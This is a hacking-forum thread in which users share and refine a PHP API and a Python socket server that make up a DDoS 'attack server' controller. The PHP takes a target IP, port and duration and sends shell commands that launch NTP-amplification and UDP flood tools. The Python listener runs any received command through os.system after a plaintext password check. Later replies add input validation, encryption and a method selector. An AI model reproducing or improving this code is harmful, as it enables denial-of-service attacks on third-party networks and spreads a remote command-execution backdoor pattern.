[ZeeYee]

I originally released a version that was not very secure, this is the more secure version.
I did not put in my encryption methods. I will keep that one a secret.

Secure version means Escaped CMD Chars, Escaped input to shell, and uses password to verify message.

Client PHP
Set the host to the attack server IP.

PHP Code


<?php

//Get Variables
$r_host = escapeshellcmd($_GET['host']);
$r_port = escapeshellcmd($_GET['port']);
$time = escapeshellcmd($_GET['time']);

//Check Key
$key = explode(",","keytwo,foxel,fitz123qwe");
if (!in_array($_GET['key'],$key)){
print "Wrong Key.";
die();
}

//Connection Variables
$secretKey = "mypassword";
$host = "123.123.123.123";
$port = 81;

#Packet
$output = "screen -dmS lel ./ntp '".$r_host."' '".$r_port."' ntp.txt 1 4000 '".$time."'";
print $output;
$koutput = $secretKey.",".$output;

#Send Packet over Socket
$socket1 = socket_create(AF_INET, SOCK_STREAM,0) or die("Could not create sock
\n");
socket_connect ($socket1 , $host,$port ) ;
socket_write($socket1, $koutput, strlen ($koutput)) or die("Could not write ou
ut\n");
socket_close($socket1) ;


?>

Python Server
Put the remote IP of the attack server as host

PHP Code


<?php 
import socket, os, sys

#Initilize Variables
buf = 0
i = 0
secretKey = "mypassword"

#Initilize Socket
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


#Bing Socket
serversocket.bind(('123.123.123.123', 81))

#Listen to Socket
serversocket.listen(5) # become a server socket, maximum 5 connections

#Output Program Title to Screen
print "220 DDoS Server Controller System"

#Loop forever
while True: 
    
    #Compare buf variable and zero
    if buf != 0:
        
        if buf[:len(secretKey)] == secretKey:
            newbuf = buf.split(",")
            print "Executing: "+str(newbuf[1])
        else:
            print "Key Denied"
            print buf[:len(secretKey)] + "-" + secretKey

        os.system(str(newbuf[1]))
    buf = 0
    while True:
            connection, address = serversocket.accept()
            buf = connection.recv(128)
            if len(buf) > 0:
                    break 


[ASDA]

I did not put in my encryption methods. I will keep that one a secret.

Security through obscurity, that's how we do it boys.

Still stupid, why would you not just use a tried and tested protocol which has been used for 20 years?

[Quad]

> Secure
> No encryption

[Remix]

escaping? nice security
still not secure and not because of "your missing encryption"
stop releasing useless shit

[Sakuto]

The worst part is that even with developed remark about why your code suck, you still post random answer and find shitty excuse for your code instead of agreeing that you should work on it.

[ZeeYee]

The worst part is that even with developed remark about why your code suck, you still post random answer and find shitty excuse for your code instead of agreeing that you should work on it.

Where? I have not seen this post anywhere.
It is just ASDA blinded tells me that I am wrong.

---

Security through obscurity, that's how we do it boys.

Still stupid, why would you not just use a tried and tested protocol which has been used for 20 years?

why would you not just use a tried and tested protocol which has been used for 20 years?
BECUASE IT IS SLOW AS FUCK ON AN ATTACK SERVER RUNNING 30 FUCKING CONCURRENTS BROOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO

[Squito]

PHP Code


<?php

//Get Variables

$r_host = $_GET['host'];
$r_port = $_GET['port'];
$time = $_GET['time'];
if(filter_var($r_host, FILTER_VALIDATE_IP) && ctype_digit($r_port) && ctype_digit($time))
{
    //Check Key
    $keys = array("keytwo", "foxel", "fitz123qwe");
    if(!in_array($_GET['key'], $keys))
    {
        echo "Wrong Key.";
        exit;
    }
    
    //Connection Variables
    $secretKey = "mypassword";
    $host = "123.123.123.123";
    $port = 81;
    
    //Packet
    $output = "screen -dmS lel ./ntp '".$r_host."' '".$r_port."' ntp.txt 1 4000 '".$time."'";
    echo $output;
    $koutput = $secretKey.",".$output;
    $koutput = mcrypt_encrypt("MCRYPT_RIJNDAEL_256", "mysecretencryptionkey", $koutput, "cbc");
    
    //Send Packet over Socket
    $socket1 = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create sock\n");
    socket_connect($socket1 , $host, $port);
    socket_write($socket1, $koutput, strlen($koutput)) or die("Could not write out\n");
    socket_close($socket1);
}
?>

[Debemg]

I was looking for this. Then what's its use?

http://ipofserver/api.php?host=$host&port=$port

Or I'm wrong? How can I use this? Thanks.

[Remix]

using sockets to connect to the server is retarded btw

[ZeeYee]

I was looking for this. Then what's its use?

http://ipofserver/api.php?host=$host&port=$port

Or I'm wrong? How can I use this? Thanks.

You forgot the key paramter

[Debemg]

You forgot the key paramter

Yes I know.

I don't understand: why to use this python "server"?

Can I just use the API? Or not? If someone can explain me...

Thank you.

[Squito]

I don't understand: why to use this python "server"?

Can I just use the API? Or not? If someone can explain me...

The PHP part is managing things and the Python part does the attack.

[Debemg]

The PHP part is managing things and the Python part does the attack.

Ok now I understand. Thank you very much.

My new question is: is possible insert the method?

I already tried with this:

PHP Code


<?php

//Get Variables
$r_host = escapeshellcmd($_GET['host']);
$r_port = escapeshellcmd($_GET['port']);
$time = escapeshellcmd($_GET['time']);

//Check Key
$key = explode(",","keytwo,foxel,fitz123qwe");
if (!in_array($_GET['key'],$key)){
print "Wrong Key.";
die();
}

//Check Method
$method = explode("udp,vse")
if (!in_array($_GET['method'],$method)){
print "Wrong Method.";
die();
}

//Connection Variables
$secretKey = "mypassword";
$host = "myip";
$port = 81;

/*
#Packet
$output = "screen ./udp ".$r_host." ".$r_port." 1 1000 10 ".$time."";
print $output;
$koutput = $secretKey.",".$output;
*/

//Which Method & Attack
if (in_array($_GET['method'],"udp")){
$output = "screen ./udp ".$r_host." ".$r_port." 1 1000 10 ".$time."";
print $output;
$koutput = $secretKey.",".$output;
}

#Send Packet over Socket
$socket1 = socket_create(AF_INET, SOCK_STREAM,0) or die("Could not create sock
\n");
socket_connect ($socket1 , $host,$port ) ;
socket_write($socket1, $koutput, strlen ($koutput)) or die("Could not write out");
socket_close($socket1) ;


?>

I know this is probably a total shit. But I'm new in PHP, and I want to learn, this was just a test.

'Which Method & Attack' and 'Check Method' get the API not working. If I remove these lines, it will work as normal.

I'm wrong in something. There's someone who can explain me? Thank you.

[ZeeYee]

Ok now I understand. Thank you very much.

My new question is: is possible insert the method?

I already tried with this:

PHP Code


<?php

//Get Variables
$r_host = escapeshellcmd($_GET['host']);
$r_port = escapeshellcmd($_GET['port']);
$time = escapeshellcmd($_GET['time']);

//Check Key
$key = explode(",","keytwo,foxel,fitz123qwe");
if (!in_array($_GET['key'],$key)){
print "Wrong Key.";
die();
}

//Check Method
$method = explode("udp,vse")
if (!in_array($_GET['method'],$method)){
print "Wrong Method.";
die();
}

//Connection Variables
$secretKey = "mypassword";
$host = "myip";
$port = 81;

/*
#Packet
$output = "screen ./udp ".$r_host." ".$r_port." 1 1000 10 ".$time."";
print $output;
$koutput = $secretKey.",".$output;
*/

//Which Method & Attack
if (in_array($_GET['method'],"udp")){
$output = "screen ./udp ".$r_host." ".$r_port." 1 1000 10 ".$time."";
print $output;
$koutput = $secretKey.",".$output;
}

#Send Packet over Socket
$socket1 = socket_create(AF_INET, SOCK_STREAM,0) or die("Could not create sock
\n");
socket_connect ($socket1 , $host,$port ) ;
socket_write($socket1, $koutput, strlen ($koutput)) or die("Could not write out");
socket_close($socket1) ;


?>

I know this is probably a total shit. But I'm new in PHP, and I want to learn, this was just a test.

'Which Method & Attack' and 'Check Method' get the API not working. If I remove these lines, it will work as normal.

I'm wrong in something. There's someone who can explain me? Thank you.

in_array($_GET['method'],"udp")){
"udp" is not an array, but if u do

$methods = "udp,ntp,tcp";
$methods_array = explode(",", $methods)
in_array($_GET['method'],$methods_array)){

it should work

[ASDA]

in_array($_GET['method'],"udp")){
"udp" is not an array, but if u do

$methods = "udp,ntp,tcp";
$methods_array = explode(",", $methods)
in_array($_GET['method'],$methods_array)){

it should work

............

in_array($_GET['method'], ['udp', 'ntp', 'tcp'])
????